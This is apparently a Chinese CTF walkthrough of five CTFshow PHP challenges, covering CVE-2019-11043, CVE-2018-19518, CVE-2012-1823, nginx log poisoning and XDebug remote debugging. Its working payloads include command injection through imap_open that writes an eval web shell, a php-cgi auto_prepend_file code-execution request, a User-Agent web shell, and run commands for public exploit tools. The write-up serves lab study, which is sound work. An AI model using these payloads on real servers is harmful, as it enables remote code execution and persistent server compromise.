目录
CTFshow phpCVE
web311-CVE-2019-11043
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
安装漏洞利用工具
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
在phuip-fpizdam目录下执行 go run . "http://xxxx/index.php"后成功显示漏洞利用成功。
然后get传参执行命令即可。
http://83e2352c-ee1b-489d-b747-e7b15a1f3ed6.challenge.ctf.show/?a=ls
我反正没成功。
web312-CVE-2018-19518 PHP imap_open函数任意命令执行漏洞
PHP的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前没有正确地过滤邮箱名称。
如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。
成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。
此外要求攻击者具有对目标系统的用户级访问权限。利用时没有很明显的回显效果。
参考链接:https://www.cnblogs.com/biing/p/13049730.html
Payload:
hostname=x+-oProxyCommand%3decho%09xxxx|base64%09-d|sh}&username=1&password=1
我们只需要修改xxxx的地方
#base64编码
ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA==
echo '<?php eval($_POST[1]);' > /var/www/html/shell.php
web313-CVE-2012-1823phpCGI远程代码执行漏洞
参考链接:https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html
cgi模式下有如下一些参数可用:
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
最简单的利用方式-s
直接显示源码
使用-d
指定auto_prepend_file
来制造任意文件包含漏洞,执行任意代码:
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
<?php echo shell_exec("tac /somewhere/fla9.txt"); ?>
web314-日志包含
日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。
首先需要开启服务器记录日志功能
在不同的系统,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
Payload:
?f=/var/log/nginx/access.log
User-Agent: <?php eval($_POST[1]);?>
web315-XDebug远程调试漏洞
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
这个配置下,我们访问
http://target/index.php?XDEBUG_SESSION_START=phpstorm
目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
脚本地址:https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py
Payload:
python3 exp.py -t http://be189f8f-1425-41a8-b830-87f722a186df.challenge.ctf.show/index.php -c 'shell_exec("ls /");'
注意:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)
我没成功,脚本一直显示超时。